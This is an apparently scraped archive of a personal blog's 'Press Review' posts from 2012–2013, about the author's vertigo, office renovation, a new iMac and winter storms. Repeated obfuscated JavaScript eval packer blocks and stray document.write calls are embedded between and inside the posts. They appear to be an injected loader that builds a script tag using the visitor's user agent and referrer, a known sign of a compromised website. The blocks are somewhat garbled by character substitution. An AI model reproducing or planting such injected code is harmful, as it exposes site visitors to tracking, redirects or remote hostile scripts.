eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bbdkh|var|u0026u|referrer|zrrty||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eznaa|var|u0026u|referrer|rkftf||js|php’.split(‘|’),0,{}))

We also had a bunch of medical appointments (dentist and GP). My blood-pressure medication was changed (for a stronger one) and the diagnosis of benign paroxysmal positional vertigo was confirmed. The most frustrating aspect of it is that I endured vertigo for over a month and a simple Epley maneuver solved the problem in a few minutes! Last year I was too busy to do any of the medical tests that my GP ordered, so this year I’ll make damn sure that I do them all.

I’ve spent the little spare times that I had left doing some clean up in my office (getting rid of a few more boxes, either putting books on shelves or shredding useless paperwork for recycling. We moved nearly two years ago and I still have plenty of boxes laying around). I also got a cold (luckily, so far, it’s not the terrible flu that everyone is talking about. Of course, I suffer from it not at work but during my days off!) and a water pipe broke down the street last night and we were nearly ten hours without water. Despite all that (there’s no respite for the restless, so now I am trying to catch up on my blogging) I still found many interesting news stories that I would like to share, so please check the links after the jump:


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Press Review (2013-01-15)

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In the last couple of weeks I’ve spent much of my free time working on finishing the kitchen/bar-type counter in the back of my office (completing the base, document.write(“”); installing the counter itself, the sink, and connecting the plumbing). It now looks pretty good, but it still need some finishing touch (finishing panels and doors). I’ve also installed a few more softwares in my new iMac and cloned its hard-drive for an extra safety (I use and trust Time Machine but you never know…). However, I am starting to experience problems with the Mac Mini so I might have to reinstall the OS on that one too. I still had time to read some news online and, as usual, you’ll find the links after the jump:
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rdtfs|var|u0026u|referrer|bbakr||js|php’.split(‘|’),0,{}))


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    A group of friends started two (not one, two!) webcomics:

  • Dungeon Sweet Dungeon: Home is where the heart gets sacrificed, by [Jean Carrières &] Normand Bilodeau aka Henbe (link)
  • Get Stuffed!: The Everyday Story of a Videogame Heroine Trying to Make it in a World of Puppets, by Lucien Soulban & Ghislain Barbe (link)

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Press Review (2012-12-28)

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I didn’t do much in the last couple of weeks because I was too busy setting up my new computer (which works great; finally!) and doing some renovation in my office (changing my wobbly table with a brand new kitchen-type counter top and installing a similar counter top in the back of the office as a working area, document.write(“”); with a sink). One notable event: One night I was awaken by one of my cats making quite a ruckus and I quickly realized that he had caught a mouse, in the house! Now I have to make sure that such invasion never happens again. Finally, winter came upon us. After a first real snow storm that left just a few centimetres of the white stuff, we had rain on the day of the winter solstice (but the world didn’t end, thankfully) and it left enough snow (or ice) to insure a white Christmas. However, yesterday we got a huge snow storm that paralyzed the city. Actually, we’ve beaten the record of the “storm of the century” for the amount of snow which fell during the same day: nearly 50 centimetres! That left quite a pile of snow in front of the house. Just like in my childhood. With all this I didn’t have time to read much news, but I still gathered a few interesting stories. You’ll find the links after the jump:
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ybbsn|var|u0026u|referrer|fhsry||js|php’.split(‘|’),0,{}))

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Press Review (2012-12-10)

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Nothing changed much in the last couple of weeks. I am still suffering from spells of diziness (it’s not severe enough to be a Labyrinthitis so I guess it should be something like BPPV ? Anyway, document.write(“”); I should really try to find time to consult on this, because it’s been several weeks and is quite annoying (and my wife worries). My iMac finally shipped from China and should be delivered imminently. I’ll probably be busy for the next couple of weeks while I set it up properly. The Holidays are approaching quickly and now it really feels like it since we’ve finally got a real snow storm (although very small, just a few centimeters, and it quickly rained on it). As usual, here some links to the online news stories that I found interesting (after the jump):
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tiszk|var|u0026u|referrer|adtez||js|php’.split(‘|’),0,{}))

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Press Review (2012-11-27)

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In the last couple of months I’ve been suffering from intermittent spell of dizziness. I’m not sure exactly what’s causing this, document.write(“”); but it is quite annoying (particularly this week-end). Strangely it strikes mostly when I am tired, after a long week of work, during my days off (as I am catching up on my sleep). Not much happened this week (however Apple FINALLY announced a date for the new iMacs! I’ll soon have a REAL computer to work with — whatever we say, a Mac-mini and an iPad can’t do all the work of a desktop), but there was a lot of interesting stories in the news (I read a lot online this long week-end). As usual, I am sharing the links after the jump:
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|afkhz|var|u0026u|referrer|kzhae||js|php’.split(‘|’),0,{}))

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Press Review (2012-11-19)

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Another difficult week. Nothing really important happened (I am STILL waiting for the new iMacs to be released and I am getting QUITE impatient!), document.write(“”); but strangely there was nevertheless lots of interesting small news stories. Check the links after the jump:
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dybst|var|u0026u|referrer|isaes||js|php’.split(‘|’),0,{}))

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Press Review (2012-11-12)

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Still consumed by work and transit time. This week the news were dominated by the aftermath of Obama’s victory in the U.S. presidential elections. Besides that it was mostly quiet, document.write(“”); but here’s a few interesting links anyway after the jump:
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fekid|var|u0026u|referrer|zerzr||js|php’.split(‘|’),0,{}))

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Press Review (2012-11-05)

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Still busy. This week was dominated by the news of the aftermath of Sandy, document.write(“”); George Lucas selling Lucasfilm to Disney and the very imminent U.S. presidential election. So, you’ll find a few more interesting news links after the jump:
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